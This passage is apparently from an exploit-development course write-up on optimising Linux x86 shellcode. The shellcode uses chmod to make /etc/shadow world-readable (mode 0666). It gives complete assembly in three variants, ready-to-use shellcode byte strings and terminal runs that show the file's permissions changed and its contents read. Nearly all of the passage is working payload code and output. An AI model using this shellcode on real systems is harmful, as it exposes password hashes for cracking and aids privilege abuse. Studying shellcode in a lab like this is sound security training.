5.C.2. Optimizing and running ASM

Some modifications were made in the ASM version, such reuse already empty registers to, for e.g., terminate strings.

 ; Clear registers
xor eax, eax ; Clearing for EAX
mov ecx, eax ; Clear for ECX

; String "/etc/shadow"
push eax ; Push NULL in EAX on stack to terminate string
push 0x776f6461 ; woda
push 0x68732f2f ; hs//
push 0x6374652f ; cte/

Current ASM file

; Name; asm_linx86_chmod_sample2-alt.asm
; Author hodorsec

global _start
section .text

_start:
	; Clear registers
	xor eax, eax			; Clearing for EAX
	mov ecx, eax			; Clear for ECX

	; String "/etc/shadow"
	push eax			; Push NULL in EAX on stack to terminate string
	push 0x776f6461 		; woda
	push 0x68732f2f 		; hs//
	push 0x6374652f 		; cte/

	; sys_chmod
	; int chmod(const char *path, mode_t mode);
	; push dword 0x1b6 		; Octal representation of 0666
	; mov cl, 0xb6
	; mov ch, 0x1
	; pop ecx				; Put permission value in ECX for mode argument
	mov ebx, esp			; Store stack-pointer in EBX for pointer argument for path
	mov cx, 0x1b6			; Octal representation of 0666 for mode argument
	; push byte +0xf			; Value of 15
	; pop eax				; Put value for syscall sys_chmod in EAX
	mov al, 0xf			; Put value for syscall 15 sys_chmod in AL (EAX)
	int 0x80			; Syscall

	; sys_exit
	; void exit(int status);
	; push 0x1			; Push 1 for exit on stack
	; pop eax				; Put in EAX for syscall
	add eax, 2			; EAX was 0xffffffff after last syscall, increment by 2 to rollover to 1
	int 0x80			; Syscall

JMP/POP/CALL

Next up is using the JMP/POP/CALL technique in an attempt to save bytes and not to push strings directly on the stack.

Make some modifications and removing all the cluttered commented lines, the ASM looks like this:

; Filename; asm_linx86_chmod_sample2-alt_jmppopcall.asm
; Author hodorsec

global _start
section .text

_start:
	; Clear registers
	xor eax, eax			; Clearing for EAX
	mov ecx, eax			; Clear for ECX
    	jmp short string      ; Jump to function to pop string

append:
    	pop ebx                     ; Put string reference in EBX
	mov cx, 0x1b6			; Octal representation of 0666 for mode argument
	mov al, 0xf			; Put value for syscall 15 sys_chmod in AL (EAX)
	int 0x80			; Syscall

	xor eax, eax			; Clear EAX

	; sys_exit
	; void exit(int status);
	mov al, 1			; Move 1 into AL for exit
	int 0x80			; Syscall

string:
	call append
	AppendString db "/etc/shadow"		; size 11

Let’s try to compile and run it using strace first

$ ../compile_asm.sh asm_linx86_chmod_sample2-alt_jmppopcall
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

$ strace ./asm_linx86_chmod_sample2-alt_jmppopcall 
execve("./asm_linx86_chmod_sample2-alt_jmppopcall", ["./asm_linx86_chmod_sample2-alt_j"...], [/* 21 vars */]) = 0
chmod("/etc/shadow", 0666)              = -1 EPERM (Operation not permitted)
_exit(134512761)                        = ?

Clearly, we’re not permitted to modify /etc/shadow as a regular user. Let’s try that as root and check the results.

$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1119 Oct 15 15:41 /etc/shadow
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ sudo ./asm_linx86_chmod_sample2-alt_jmppopcall
$ ls -l /etc/shadow
-rw-rw-rw- 1 root shadow 1119 Oct 15 15:41 /etc/shadow
$ cat /etc/shadow
root:!:17794:0:99999:7:::
daemon:*:15630:0:99999:7:::
bin:*:15630:0:99999:7:::
sys:*:15630:0:99999:7:::
sync:*:15630:0:99999:7:::
games:*:15630:0:99999:7:::
...<SNIP>...

Nice, so we can read the shadow file and check for hashes.

Compile as C

Now we’re going to try to convert to shellcode, paste it in a C file and compile it.

$ ../convert_bin_sc.sh asm_linx86_chmod_sample2-alt_jmppopcall
"\x31\xc0\x89\xc1\xeb\x0f\x5b\x66\xb9\xb6\x01\xb0\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xec\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77"
$ cp ../sc_template_c.c asm_linx86_chmod_sample2-alt_jmppopcall-c.c
$ vim asm_linx86_chmod_sample2-alt_jmppopcall-c.c
$ ../compile_c.sh asm_linx86_chmod_sample2-alt_jmppopcall-c
[+] Compiling ... 
[+] Done!
$ ./asm_linx86_chmod_sample2-alt_jmppopcall-c
Shellcode Length:  37

Checking for NULL-bytes

No NULL-bytes or other bad characters

$ ../check_badchars.sh asm_linx86_chmod_sample2-alt_jmppopcall
[+] Checking ... 
[+] Done!

Although we can’t run it as a regular user, we still see the size is 37 bytes which doesn’t change running as any user. Still, it’s 1 byte larger than the MSF compiled version so unfortunately it isn’t smaller.

Non-JMP/POP/CALL

Let’s improve some more and just not use this technique, but regularly pushing strings on stack and see what happens.

Modified ASM file

; Name; asm_linx86_chmod_sample2-alt2.asm
; Author hodorsec

global _start
section .text

_start:
	; Clear registers
	xor eax, eax			; Clearing for EAX
	mov ecx, eax			; Clear for ECX

	; String "/etc/shadow"
	push eax			; Push NULL in EAX on stack to terminate string
	push 0x776f6461 		; woda
	push 0x68732f2f 		; hs//
	push 0x6374652f 		; cte/

	; sys_chmod
	; int chmod(const char *path, mode_t mode);
	mov ebx, esp			; Store stack-pointer in EBX for pointer argument for path
	mov cx, 0x1b6			; Octal representation of 0666 for mode argument
	mov al, 0xf			; Put value for syscall 15 sys_chmod in AL (EAX)
	int 0x80			; Syscall

	; sys_exit
	; void exit(int status);
	xor eax, eax			; Push 1 for exit on stack
	mov al, 1			; EAX was 0xffffffff after last syscall, increment by 2 to rollover to 1
	int 0x80			; Syscall

Now try to compile, convert to C and check it’s size.

$ ../compile_asm.sh asm_linx86_chmod_sample2-alt2
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
$ ../convert_bin_sc.sh asm_linx86_chmod_sample2-alt2
"\x31\xc0\x89\xc1\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\xb6\x01\xb0\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
$ cp ../sc_template_c.c asm_linx86_chmod_sample2-alt2-c.c
$ vim asm_linx86_chmod_sample2-alt2-c.c
$ ../compile_c.sh asm_linx86_chmod_sample2-alt2-c
[+] Compiling ... 
[+] Done!

Now the next part, run!

We check the output: 36 bytes, which isn’t much of an advantage being equally large as the MSF payload.

$ ls -l /etc/shadow
-rw------- 1 root shadow 1119 Oct 15 15:41 /etc/shadow
$ sudo ./asm_linx86_chmod_sample2-alt2-c
Shellcode Length:  36
$ ls -l /etc/shadow
-rw-rw-rw- 1 root shadow 1119 Oct 15 15:41 /etc/shadow